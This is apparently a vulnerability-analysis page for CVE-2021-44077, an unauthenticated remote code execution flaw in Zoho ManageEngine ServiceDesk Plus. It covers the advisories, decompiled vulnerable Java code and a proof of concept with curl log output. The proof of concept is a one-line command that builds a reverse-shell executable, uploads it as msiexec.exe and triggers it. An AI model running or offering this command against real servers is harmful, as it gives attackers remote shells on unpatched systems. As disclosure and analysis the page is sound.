Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2021-44077

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution. This is related to /RestAPI URLs in a servlet, and ImportTechnicians in the Struts configuration.

General Information

Exploited in the Wild

Reported by:
Technical Analysis

Description

On September 16, 2021, Zoho released a Security Advisory urging customers to upgrade their software in order to resolve an authentication bypass vulnerability. 67 days later, on November 22, 2021, they released an additional advisory for CVE-2021-44077 indicating that the previously mentioned update also fixed a remote code execution (RCE) vulnerability that is being exploited in the wild. To assist their customers, Zoho has since set up an online security response plan that includes an exploit detection tool to see if an organization’s installation is compromised.

Last week, CISA released an alert detailing attacker tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs). CVE-2021-44077 has also been added to CISA’s known exploited vulnerabilities catalog with a required remediation date of December 15, 2021, for US federal agencies.

Affected products

ManageEngine ServiceDesk Plus, prior to version 11306
ServiceDesk Plus MSP, prior to version 10530
SupportCenter Plus, prior to version 11014

Technical analysis

Please see the references at the bottom of this page for background information.

Exploitable code path (known RCE chain)

This is the arbitrary file upload, but we control only the filename, not the full path.

package com.adventnet.servicedesk.setup.action;

import com.adventnet.servicedesk.admin.util.CSVUtil;
import com.adventnet.servicedesk.setup.form.ImportTechniciansForm;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.Vector;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.upload.FormFile;

public class ImportTechniciansAction extends Action {
  private static Logger logger = Logger.getLogger(ImportTechniciansAction.class.getName());

  private static final int BUF_LEN = 1024;

  public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    logger.log(Level.INFO, "Inside ImportTechniciansAction");
    ImportTechniciansForm iuf = (ImportTechniciansForm)form;
    String step = iuf.getStep();
    logger.log(Level.INFO, "step is :{0} ", step);
    if (step == null)
      return mapping.findForward("GetInputFile");
    FormFile file = iuf.getTheFile();
    String fileName = file.getFileName();
    String filePath = fileName;
    InputStream stream = null;
    FileOutputStream fos = null;
    BufferedInputStream bis = null;
    try {
      stream = file.getInputStream();
      fos = new FileOutputStream(fileName);
      bis = new BufferedInputStream(stream, 1024);
      byte[] bufr = new byte[1024];
      int c = 0;
      int br = 0;
      while ((c = bis.read(bufr, 0, 1024)) != -1) {
        fos.write(bufr, 0, c);
        br += c;
      }
      fos.close();
      bis.close();
      stream.close();
      FileInputStream fis1 = new FileInputStream(new File(filePath));
      Vector headers = null;
      try {
        headers = CSVUtil.getInstance().getHeadersFromCSV(fis1);
      } catch (Exception etn) {
        fis1.close();
        String str = "General failure while loading file.  Unable to parse the input file.";
        logger.log(Level.SEVERE, str, etn);
        request.setAttribute("operation_failed", str);
        return mapping.findForward("GetInputFile");
      } finally {
        fis1.close();
      }
      logger.log(Level.INFO, "fileName is : {0}", fileName);
      logger.log(Level.INFO, "headers are : {0}", headers);
      request.setAttribute("fileName", fileName);
      request.setAttribute("filePath", filePath);
      request.setAttribute("headers", headers);
    } catch (Exception e) {
      throw e;
    } finally {
      fos.close();
      bis.close();
      stream.close();
    }
    return mapping.findForward("MapFields");
  }
}

This is the msiexec.exe command execution, which is chained with the file upload above.

package com.manageengine.s247.actions;

import com.manageengine.s247.util.S247Util;
import java.net.URLDecoder;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.actions.DispatchAction;

public class S247Action extends DispatchAction {
  private static Logger logger = Logger.getLogger(S247Action.class.getName());

  HttpSession session = null;

  public ActionForward createProcess(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    Properties prop = new Properties();
    String pserver = request.getParameter("pserver");
    String pport = request.getParameter("pport");
    String puser = request.getParameter("puser");
    String ppwd = request.getParameter("ppwd");
    if (pserver != null && pserver.length() > 0) {
      prop.put("PROXYSERVER", pserver);
      prop.put("PROXYPORT", pport);
      if (puser != null && puser.length() > 0 && ppwd != null && ppwd.length() > 0) {
        prop.put("PROXYUSERNAME", puser);
        prop.put("PROXYPASSWORD", ppwd);
      }
    }
    this.session = request.getSession();
    String successmsg = (String)this.session.getAttribute("SUCCESSMSG");
    String processfinished = (String)this.session.getAttribute("PROCESSFINISHED");
    String email = request.getParameter("email");
    if (email != null) {
      logger.log(Level.INFO, "Input email :: " + email);
      if (request.getSession().getAttribute("SUCCESSMSG") != null) {
        request.getSession().removeAttribute("SUCCESSMSG");
        successmsg = null;
      }
      if (request.getSession().getAttribute("PROCESSFINISHED") != null) {
        request.getSession().removeAttribute("PROCESSFINISHED");
        processfinished = null;
      }
      this.session = request.getSession(true);
      String secureWord = request.getParameter("secureWord");
      String cookies = request.getParameter("sessionid");
      cookies = URLDecoder.decode(cookies);
      prop.put("cookies", cookies);
      prop.put("RESELLERID", S247Util.resellerid);
      prop.put("EMAILID", email);
      prop.put("secureWord", secureWord);
      prop.put("session", this.session);
      logger.log(Level.INFO, "Secure Word :: " + secureWord);
      request.getSession().setAttribute("SUCCESSMSG", "s247.msg.start");
      successmsg = (String)this.session.getAttribute("SUCCESSMSG");
      S247Util.Site24x7AgentTask task = new S247Util.Site24x7AgentTask(prop);
      task.start();
    }
    String forwardurl = (processfinished != null && successmsg != null) ? ("/setup/s247-result.jsp?successmsg=" + successmsg + "&fromAction=true&processFinished=true") : ((processfinished == null && successmsg != null) ? ("/setup/s247-result.jsp?successmsg=" + successmsg + "&fromAction=true") : ("/setup/s247-result.jsp?successmsg=" + successmsg + "&fromAction=true&processFinished=true"));
    logger.log(Level.INFO, "Forward Url :: " + forwardurl);
    return new ActionForward(forwardurl);
  }

  public ActionForward deleteProcess(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    String pserver = request.getParameter("pserver");
    String pport = request.getParameter("pport");
    String puser = request.getParameter("puser");
    String ppwd = request.getParameter("ppwd");
    String customerAPIKey = request.getParameter("userapikey");
    S247Util.downgradeAccountandUninstallAgent(customerAPIKey, pserver, pport, puser, ppwd);
    return null;
  }

  public ActionForward s247AgentInstallationProcess(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    String apikey = request.getParameter("apikey");
    try {
      S247Util.s247message = "s247.msg.acc.finished";
      S247Util.installAgentProgress(apikey);
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "Exception occured while perform s247AgentInstallationProcess :: " + t.getMessage());
      t.printStackTrace();
    }
    String forwardurl = "/setup/s247-result.jsp?successmsg=s247.acc.complete&fromAction=true&processFinished=true&closeTab=true";
    logger.log(Level.INFO, "Forward Url :: " + forwardurl);
    return new ActionForward(forwardurl);
  }

  public ActionForward checkForProcessFinished(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    if (!"post".equalsIgnoreCase(request.getMethod())) {
      response.setStatus(400);
      return mapping.findForward("AuthError");
    }
    String ftime = request.getParameter("ftime");
    if (ftime != null)
      S247Util.s247message = "s247.msg.initiate";
    String forwardurl = "/setup/s247-result.jsp?successmsg=Site24x7WindowsAgent has been installed successfully&fromAction=true&processFinished=true";
    if (!S247Util.isS247PropFileExist())
      forwardurl = "/setup/s247-result.jsp?successmsg=" + S247Util.s247message + "&fromAction=true&processFinished=false";
    return new ActionForward(forwardurl);
  }
}

S247Action.s247AgentInstallationProcess() calls S247Util.installAgentProgress() below.

package com.manageengine.s247.util;

import com.adventnet.servicedesk.utils.GlobalConfigUtil;
import com.adventnet.servicedesk.utils.ResourcesUtil;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.Authenticator;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.PasswordAuthentication;
import java.net.Proxy;
import java.net.SocketAddress;
import java.net.URL;
import java.net.URLConnection;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.http.HttpSession;
import javax.xml.bind.DatatypeConverter;
import org.json.JSONArray;
import org.json.JSONObject;

public class S247Util {
  private static Logger logger = Logger.getLogger(S247Util.class.getName());

  private static String site24x7server = "https://site24x7.localzoho.com";

  public static String resellerid = "tuEfJ54r";

  private static String currentDir = ResourcesUtil.getUserDir();

  public static String site247filename = currentDir + File.separator + ".." + File.separator + "site24x7" + File.separator + "site24x7.properties";

  private static String installfile = "Site24x7WindowsAgent.msi";

  public static String s247message = "s247.msg.initiate";

  public void initialise() throws Exception {
    site24x7server = GlobalConfigUtil.getInstance().getGlobalConfigValue("SITE24X7_SERVER", "S24X7");
    resellerid = GlobalConfigUtil.getInstance().getGlobalConfigValue("SITE24X7_RESELLERID", "S24X7");
    logger.log(Level.INFO, "after S247Util initialize..--->" + site24x7server + resellerid);
  }

  public static Proxy setProxy(String pserver, String pport, String puser, String pwd) {
    final String pusername = puser;
    final String ppwd = pwd;
    Proxy proxy = Proxy.NO_PROXY;
    if (pserver != null && !"null".equals(pserver)) {
      SocketAddress sockAddress = new InetSocketAddress(pserver, (new Integer(pport)).intValue());
      proxy = new Proxy(Proxy.Type.HTTP, sockAddress);
      if (pusername != null && ppwd != null)
        Authenticator.setDefault(new Authenticator() {
              protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(pusername, ppwd.toCharArray());
              }
            });
    }
    return proxy;
  }

  private static String urlConn(String url, String pserver, String pport, String puser, String pwd) throws Exception {
    BufferedReader bis = null;
    String content = null;
    try {
      Proxy proxy = setProxy(pserver, pport, puser, pwd);
      URLConnection con = (new URL(url)).openConnection(proxy);
      con.setDoOutput(true);
      con.setDoInput(true);
      con.setUseCaches(false);
      con.setConnectTimeout(180000);
      bis = new BufferedReader(new InputStreamReader(con.getInputStream()));
      String line = null;
      StringBuilder sb = new StringBuilder();
      while ((line = bis.readLine()) != null)
        sb.append(line);
      content = sb.toString();
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "Exception occured while creating connection for :: " + url + ":: Error message::" + t.getMessage());
      t.printStackTrace();
    } finally {
      if (bis != null)
        bis.close();
    }
    return content;
  }

  public static boolean isS247PropFileExist() {
    File site247file = new File(site247filename);
    boolean doprocess = site247file.exists();
    return doprocess;
  }

  public static void appendAvailPerfUrl(String customerAPIKey, String pserver, String pport, String puser, String ppwd) throws Exception {
    BufferedWriter bw = null;
    try {
      File site247file = new File(site247filename);
      String url = site24x7server + "/api/json/listmonitors?apikey=" + customerAPIKey + "&type=SERVER&uniq_key=HOSTNAME&uniq_val=" + InetAddress.getLocalHost().getHostName();
      String listofmonitors = urlConn(url, pserver, pport, puser, ppwd);
      bw = new BufferedWriter(new FileWriter(site247file.getAbsoluteFile(), true));
      JSONArray json = new JSONArray(listofmonitors);
      if (json != null && !json.isNull(1)) {
        bw.newLine();
        JSONObject jobj = json.getJSONObject(1);
        JSONArray jarr = (JSONArray)jobj.get("monitor");
        JSONObject item = jarr.getJSONObject(0);
        String resurl = "perf=" + item.getString("responsetimereport");
        String availurl = "avail=" + item.getString("availabilityreport");
        bw.write(resurl);
        bw.newLine();
        bw.write(availurl);
        bw.newLine();
      }
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "Exception occured while writing site24x7 property file :: " + t.getMessage());
      t.printStackTrace();
    } finally {
      if (bw != null)
        bw.close();
    }
  }

  public static void downgradeAccountandUninstallAgent(String customerAPIKey, String pserver, String pport, String puser, String ppwd) throws Exception {
    BufferedWriter bw = null;
    try {
      File site247file = new File(site247filename);
      String url = site24x7server + "/api/json/account/changepack?resellerid=" + resellerid + "&packname=FREE_RESELLER&userapikey=" + customerAPIKey;
      String result = urlConn(url, pserver, pport, puser, ppwd);
      logger.log(Level.INFO, "Inside method downgrade site24x7.com account and uninstall of Site24x7WindowsAgent ::" + url + " :: result ::" + result);
      if (result.toLowerCase().contains("success")) {
        logger.log(Level.INFO, "Inside success");
        bw = new BufferedWriter(new FileWriter(site247file.getAbsoluteFile(), false));
        String content = "apikey=" + customerAPIKey;
        bw.write(content);
        Thread uninstallAgent = new Thread() {
            public void run() {
              try {
                S247Util.logger.log(Level.INFO, "Inside thread");
                String workingDir = S247Util.currentDir + File.separator + ".." + File.separator + "site24x7";
                List<String> cmdargs = new LinkedList<>();
                cmdargs.add("msiexec.exe");
                cmdargs.add("/uninstall");
                cmdargs.add(S247Util.installfile);
                cmdargs.add("/qn");
                String[] command = cmdargs.<String>toArray(new String[cmdargs.size()]);
                ProcessBuilder pb = new ProcessBuilder(command);
                pb.directory(new File(workingDir));
                Process p = pb.start();
                int exitstatus = p.waitFor();
                BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
                String line = null;
                StringBuilder sb = new StringBuilder();
                while ((line = br.readLine()) != null)
                  sb.append(line);
                S247Util.logger.log(Level.INFO, "Uninstallation of Site24x7WindowsAgent :: Exit status :: " + exitstatus + " result :: " + sb);
                p.destroy();
              } catch (Throwable t) {
                S247Util.logger.log(Level.SEVERE, "Exception occured while uninstalling Site24x7WindowsAgent :: " + t.getMessage());
                t.printStackTrace();
              }
            }
          };
        uninstallAgent.start();
      }
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "Exception occured while downgrade account in site24x7.com :: " + t.getMessage());
      t.printStackTrace();
    } finally {
      if (bw != null)
        bw.close();
    }
  }

  public static Hashtable getCaptchaImage(String pserver, String pport, String puser, String ppwd) throws IOException {
    InputStream is = null;
    ByteArrayOutputStream baos = null;
    Hashtable<String, Object> props = new Hashtable<>();
    try {
      if (!isS247PropFileExist()) {
        String imageurl = site24x7server + "/getImage?r=AN&ct=" + System.currentTimeMillis();
        Proxy proxy = setProxy(pserver, pport, puser, ppwd);
        HttpURLConnection icon = (HttpURLConnection)(new URL(imageurl)).openConnection(proxy);
        icon.setDoOutput(true);
        icon.setDoInput(true);
        icon.setUseCaches(false);
        icon.setConnectTimeout(180000);
        int resCode = icon.getResponseCode();
        Map<String, List<String>> headerField = icon.getHeaderFields();
        List<String> cookies = headerField.get("Set-Cookie");
        JSONObject cjson = new JSONObject();
        for (String c : cookies) {
          String cookieName = c.substring(0, c.indexOf("="));
          String cookieValue = c.substring(c.indexOf('=') + 1, c.lastIndexOf(';'));
          cjson.put(cookieName, cookieValue);
        }
        props.put("Cookies", cjson.toString());
        is = icon.getInputStream();
        baos = new ByteArrayOutputStream();
        byte[] data = new byte[16384];
        int nRead;
        while ((nRead = is.read(data, 0, data.length)) != -1)
          baos.write(data, 0, nRead);
        props.put("imageString", "data:image/png;base64," + DatatypeConverter.printBase64Binary(baos.toByteArray()));
        props.put("proxyCorrect", "");
        props.put("proxyNeeded", "display:none");
      }
    } catch (Throwable e) {
      String errorMessage = e.getMessage();
      logger.log(Level.SEVERE, "Exception while getting captcha image from Site24x7.com ::" + errorMessage);
      if (errorMessage != null && errorMessage.contains("Connection timed out")) {
        props.put("proxyNeeded", "");
        props.put("proxyCorrect", "display:none");
      }
      props.put("showEmailTextbox", "false");
      e.printStackTrace();
    } finally {
      if (is != null)
        is.close();
      if (baos != null)
        baos.close();
    }
    return props;
  }

  public static class Site24x7AgentTask extends Thread {
    Properties prop = new Properties();

    HttpSession session = null;

    String successMessage = "s247.msg.start";

    public Site24x7AgentTask(Properties prop) {
      this.prop = prop;
      this.session = (HttpSession)prop.get("session");
    }

    private String createUrlCon(String url, String pserver, String pport, String puser, String pwd, String cookies) throws Exception {
      BufferedReader bis = null;
      String content = null;
      try {
        Proxy proxy = S247Util.setProxy(pserver, pport, puser, pwd);
        URLConnection con = (new URL(url)).openConnection(proxy);
        if (cookies != null) {
          JSONObject cookiesjson = new JSONObject(cookies);
          Iterator<String> itr = cookiesjson.keys();
          String setcookie = null;
          while (itr.hasNext()) {
            String key = itr.next();
            setcookie = setcookie + key + "=" + cookiesjson.get(key) + ";";
          }
          con.setRequestProperty("Cookie", setcookie);
        }
        con.setDoOutput(true);
        con.setDoInput(true);
        con.setUseCaches(false);
        con.setConnectTimeout(180000);
        con.connect();
        bis = new BufferedReader(new InputStreamReader(con.getInputStream()));
        String line = null;
        StringBuilder sb = new StringBuilder();
        while ((line = bis.readLine()) != null)
          sb.append(line);
        content = sb.toString();
      } catch (Throwable t) {
        S247Util.logger.log(Level.SEVERE, "Exception occured while creating connection for :: " + url + ":: Error message::" + t.getMessage());
        this.successMessage = "Account creation initiated failed due to ::" + t.getMessage();
        this.session.setAttribute("SUCCESSMSG", this.successMessage);
        t.printStackTrace();
      } finally {
        if (bis != null)
          bis.close();
      }
      return content;
    }

    public void run() {
      try {
        S247Util.logger.log(Level.INFO, "Input properties for making connection with site24x7::" + this.prop);
        this.session.setAttribute("SUCCESSMSG", this.successMessage);
        String reseller_apikey = (String)this.prop.get("RESELLER_APIKEY");
        String resellerid = (String)this.prop.get("RESELLERID");
        String username = (String)this.prop.get("EMAILID");
        String pserver = (String)this.prop.get("PROXYSERVER");
        String pport = (String)this.prop.get("PROXYPORT");
        String pusername = (String)this.prop.get("PROXYUSERNAME");
        String ppwd = (String)this.prop.get("PROXYPASSWORD");
        String captcha_key_name = (String)this.prop.get("captcha_key_name");
        String secureWord = (String)this.prop.get("secureWord");
        String cookies = (String)this.prop.get("cookies");
        String apiuri = "/api/json/account/create";
        String url = S247Util.site24x7server + apiuri + "?resellerid=" + resellerid + "&username=" + username + "&packname=FREE_RESELLER&tz=GMT+5.30&cc=en&secureWord=" + secureWord;
        String customerAPIKey = null;
        String proxyString = "";
        List<String> cmdargs = new LinkedList<>();
        cmdargs.add("msiexec.exe");
        cmdargs.add("/i");
        cmdargs.add(S247Util.installfile);
        try {
          if (pserver != null) {
            cmdargs.add("ENABLEPROXY=yes");
            cmdargs.add("ProxyServerName=" + pserver + ":" + pport);
            cmdargs.add("ProxyUserName=" + pusername);
            cmdargs.add("ProxyPassword=" + ppwd);
          }
          this.successMessage = "s247.msg.initiate";
          this.session.setAttribute("SUCCESSMSG", this.successMessage);
          customerAPIKey = createUrlCon(url, pserver, pport, pusername, ppwd, cookies);
          S247Util.logger.log(Level.INFO, "Username :: " + username + " Customer APIKey :: " + customerAPIKey);
          if (customerAPIKey.toLowerCase().contains("error")) {
            this.successMessage = customerAPIKey.substring(customerAPIKey.indexOf("message\":") + 9, customerAPIKey.lastIndexOf("}}}"));
            this.successMessage = this.successMessage.replaceAll("\"", "");
            this.session.setAttribute("PROCESSFINISHED", "true");
          } else if (customerAPIKey.length() <= 0) {
            this.session.setAttribute("PROCESSFINISHED", "true");
            this.successMessage = "Account created failed for user :: " + username;
          } else {
            this.successMessage = "Account created successfully for E-mail :: " + username;
          }
          this.session.setAttribute("SUCCESSMSG", this.successMessage);
        } catch (Throwable t) {
          S247Util.logger.log(Level.SEVERE, "Exception occured while creating account for :: " + username + ":: Error message::" + t.getMessage());
          this.successMessage = "Account creation initiated failed due to ::" + t.getMessage();
          this.session.setAttribute("SUCCESSMSG", this.successMessage);
          t.printStackTrace();
        }
        try {
          if (customerAPIKey != null && customerAPIKey.length() > 0 && !customerAPIKey.contains("response") && !customerAPIKey.toLowerCase().contains("error")) {
            final String workingDir = S247Util.currentDir + File.separator + ".." + File.separator + "site24x7";
            cmdargs.add("EDITA1=" + customerAPIKey);
            cmdargs.add("/qn");
            final String[] command = cmdargs.<String>toArray(new String[cmdargs.size()]);
            this.successMessage = "s247.msg.agent.init";
            this.session.setAttribute("SUCCESSMSG", this.successMessage);
            Thread installAgent = new Thread() {
                public void run() {
                  try {
                    ProcessBuilder pb = new ProcessBuilder(command);
                    pb.directory(new File(workingDir));
                    Process p = pb.start();
                    int exitstatus = p.waitFor();
                    BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
                    String line = null;
                    StringBuilder content = new StringBuilder();
                    while ((line = br.readLine()) != null)
                      content.append(line);
                    S247Util.logger.log(Level.INFO, "Installation of Site24x7WindowsAgent :: Exit status :: " + exitstatus + " result :: " + content);
                    p.destroy();
                    if (content.toString().length() == 0) {
                      S247Util.Site24x7AgentTask.this.successMessage = "s247.msg.agent.installed";
                    } else {
                      S247Util.Site24x7AgentTask.this.successMessage = "Agent Installation message ::" + content;
                    }
                    S247Util.Site24x7AgentTask.this.session.setAttribute("SUCCESSMSG", S247Util.Site24x7AgentTask.this.successMessage);
                  } catch (Throwable t) {
                    S247Util.logger.log(Level.SEVERE, "Exception occured while installing Site24x7WindowsAgent :: " + t.getMessage());
                    t.printStackTrace();
                    S247Util.Site24x7AgentTask.this.successMessage = "Monitoring Agent installation failed due to ::" + t.getMessage();
                    S247Util.Site24x7AgentTask.this.session.setAttribute("SUCCESSMSG", S247Util.Site24x7AgentTask.this.successMessage);
                  }
                }
              };
            installAgent.start();
            int wait = 300000;
            installAgent.join(wait);
            Thread.sleep(60000L);
            BufferedWriter bw = null;
            try {
              if (!S247Util.isS247PropFileExist()) {
                File site247file = new File(S247Util.site247filename);
                apiuri = "/api/json/listmonitors";
                url = S247Util.site24x7server + apiuri + "?apikey=" + customerAPIKey + "&type=SERVER&uniq_key=HOSTNAME&uniq_val=" + InetAddress.getLocalHost().getHostName();
                String listofmonitors = createUrlCon(url, pserver, pport, pusername, ppwd, null);
                String content = "apikey=" + customerAPIKey;
                site247file.getParentFile().mkdirs();
                site247file.createNewFile();
                bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(site247file.getAbsoluteFile()), "utf8"));
                bw.write(content);
                JSONArray json = new JSONArray(listofmonitors);
                if (json != null && !json.isNull(1)) {
                  bw.newLine();
                  JSONObject jobj = json.getJSONObject(1);
                  JSONArray jarr = (JSONArray)jobj.get("monitor");
                  JSONObject item = jarr.getJSONObject(0);
                  String resurl = "perf=" + item.getString("responsetimereport");
                  String availurl = "avail=" + item.getString("availabilityreport");
                  bw.write(resurl);
                  bw.newLine();
                  bw.write(availurl);
                  bw.newLine();
                }
              }
            } catch (Throwable t) {
              S247Util.logger.log(Level.SEVERE, "Exception occured while writing site24x7 property file :: " + t.getMessage());
              t.printStackTrace();
            } finally {
              if (bw != null)
                bw.close();
            }
          }
        } catch (Throwable t) {
          this.session.setAttribute("PROCESSFINISHED", "true");
          S247Util.logger.log(Level.SEVERE, "Problem in thread execution for installing Site24x7WindowsAgent :: " + t.getMessage());
          this.successMessage = "Monitoring Agent installation failed due to ::" + t.getMessage();
          this.session.setAttribute("SUCCESSMSG", this.successMessage);
          t.printStackTrace();
        }
      } catch (Throwable e) {
        this.session.setAttribute("PROCESSFINISHED", "true");
        this.successMessage = "Sorry the total process failed due to ::" + e.getMessage();
        this.session.setAttribute("SUCCESSMSG", this.successMessage);
        e.printStackTrace();
      }
      S247Util.logger.log(Level.INFO, "Entire site24x7 process finished...");
      this.session.setAttribute("PROCESSFINISHED", "true");
    }
  }

  public static void installAgentProgress(String customerAPIKey) throws Exception {
    final String workingDir = currentDir + File.separator + ".." + File.separator + "site24x7";
    try {
      List<String> cmdargs = new LinkedList<>();
      cmdargs.add("msiexec.exe");
      cmdargs.add("/i");
      cmdargs.add(installfile);
      cmdargs.add("EDITA1=" + customerAPIKey);
      cmdargs.add("/qn");
      final String[] command = cmdargs.<String>toArray(new String[cmdargs.size()]);
      Thread installAgent = new Thread() {
          public void run() {
            try {
              ProcessBuilder pb = new ProcessBuilder(command);
              pb.directory(new File(workingDir));
              Process p = pb.start();
              int exitstatus = p.waitFor();
              BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
              String line = null;
              StringBuilder content = new StringBuilder();
              while ((line = br.readLine()) != null)
                content.append(line);
              S247Util.logger.log(Level.INFO, "Installation of Site24x7WindowsAgent :: Exit status :: " + exitstatus + " result :: " + content);
              p.destroy();
            } catch (Throwable t) {
              S247Util.logger.log(Level.SEVERE, "Exception occured while installing Site24x7WindowsAgent :: " + t.getMessage());
              t.printStackTrace();
            }
          }
        };
      s247message = "s247.msg.agent.init";
      installAgent.start();
      s247message = "s247.msg.agent.installed";
      int wait = 900000;
      installAgent.join(wait);
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "InstallAgentProgress failed -> :: " + t.getMessage());
      t.printStackTrace();
    }
    Thread.sleep(60000L);
    BufferedWriter bw = null;
    try {
      if (!isS247PropFileExist()) {
        File site247file = new File(site247filename);
        String apiuri = "/api/json/listmonitors";
        String url = site24x7server + apiuri + "?apikey=" + customerAPIKey + "&type=SERVER&uniq_key=HOSTNAME&uniq_val=" + InetAddress.getLocalHost().getHostName();
        String listofmonitors = createUrlConnection(url, null, null, null, null, null);
        String content = "apikey=" + customerAPIKey;
        site247file.getParentFile().mkdirs();
        site247file.createNewFile();
        bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(site247file.getAbsoluteFile()), "utf8"));
        bw.write(content);
        JSONArray json = new JSONArray(listofmonitors);
        if (json != null && !json.isNull(1)) {
          bw.newLine();
          JSONObject jobj = json.getJSONObject(1);
          JSONArray jarr = (JSONArray)jobj.get("monitor");
          JSONObject item = jarr.getJSONObject(0);
          String resurl = "perf=" + item.getString("responsetimereport");
          String availurl = "avail=" + item.getString("availabilityreport");
          bw.write(resurl);
          bw.newLine();
          bw.write(availurl);
          bw.newLine();
        }
      }
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "Exception occured while writing site24x7 property file :: " + t.getMessage());
      t.printStackTrace();
    } finally {
      if (bw != null)
        bw.close();
    }
  }

  private static String createUrlConnection(String url, String pserver, String pport, String puser, String pwd, String cookies) throws Exception {
    BufferedReader bis = null;
    String content = null;
    try {
      Proxy proxy = setProxy(pserver, pport, puser, pwd);
      URLConnection con = (new URL(url)).openConnection(proxy);
      if (cookies != null) {
        JSONObject cookiesjson = new JSONObject(cookies);
        Iterator<String> itr = cookiesjson.keys();
        String setcookie = null;
        while (itr.hasNext()) {
          String key = itr.next();
          setcookie = setcookie + key + "=" + cookiesjson.get(key) + ";";
        }
        con.setRequestProperty("Cookie", setcookie);
      }
      con.setDoOutput(true);
      con.setDoInput(true);
      con.setUseCaches(false);
      con.setConnectTimeout(180000);
      con.connect();
      bis = new BufferedReader(new InputStreamReader(con.getInputStream()));
      String line = null;
      StringBuilder sb = new StringBuilder();
      while ((line = bis.readLine()) != null)
        sb.append(line);
      content = sb.toString();
    } catch (Throwable t) {
      logger.log(Level.SEVERE, "Exception occured while creating connection for :: " + url + ":: Error message::" + t.getMessage());
      t.printStackTrace();
    } finally {
      if (bis != null)
        bis.close();
    }
    return content;
  }
}

PoC and associated log output

This particular PoC will absolutely get caught by AV, so use your best judgment.

wvu@kharak:~/rapid7/metasploit-framework:master$ ./msfvenom -p windows/x64/shell_reverse_tcp -f exe lhost=172.16.57.1 | curl -v http://172.16.57.210:8080/RestAPI/ImportTechnicians -F step=hax -F "theFile=@-;filename=msiexec.exe" -: -m 3.5 http://172.16.57.210:8080/RestAPI/s247action -d execute=s247AgentInstallationProcess
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

*   Trying 172.16.57.210:8080...
* Connected to 172.16.57.210 (172.16.57.210) port 8080 (#0)
> POST /RestAPI/ImportTechnicians HTTP/1.1
> Host: 172.16.57.210:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 7430
> Content-Type: multipart/form-data; boundary=------------------------b405aecd872c1b03
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 401
< Set-Cookie: SDPSESSIONID=0D5052A4617EAC182FBBA8C67D03FB19; Path=/; HttpOnly
< vary: accept-encoding
< Content-Type: text/html;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Wed, 08 Dec 2021 18:51:55 GMT
< Server: -
<
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">













        <script>var isMSP = false; </script>

    <!-- CWF START -->





<script type="text/javascript" src="/scripts/ClientLogger.js?11301"></script>

<script>
var curLevStr = 'null';
//Level.INFO is stored as default..
var curLev = 800;

var levelVals = [{NAME:"FINEST",VALUE:300},{NAME:"FINER",VALUE:400},{NAME:"FINE",VALUE:500},{NAME:"CONFIG",VALUE:700},{NAME:"INFO",VALUE:800},{NAME:"WARNING",VALUE:900},{NAME:"SEVERE",VALUE:1000},{NAME:"ALL",VALUE:1200}];//no i18n
var len = levelVals.length;

var Level = {FINEST:"300",FINER:"400",FINE:"500",CONFIG:"700",INFO:"800",WARNING:"900",SEVERE:"1000",ALL:"1200"};
for(k=0;k<len;k++)
{
    var obj = levelVals[k];
    if(curLevStr==obj.NAME)
    {
        curLev=obj.VALUE;
        break;
    }
}
var userID = null;
</script>

    <!-- CWF END -->

    <script>
    if(!window.externalframe) {
      window.externalframe = false;
    }
    parent = externalframe ? window : parent;
    window.date_format='YYYY-MM-DD'; //NO I18N <!-- NO OUTPUTENCODING -->
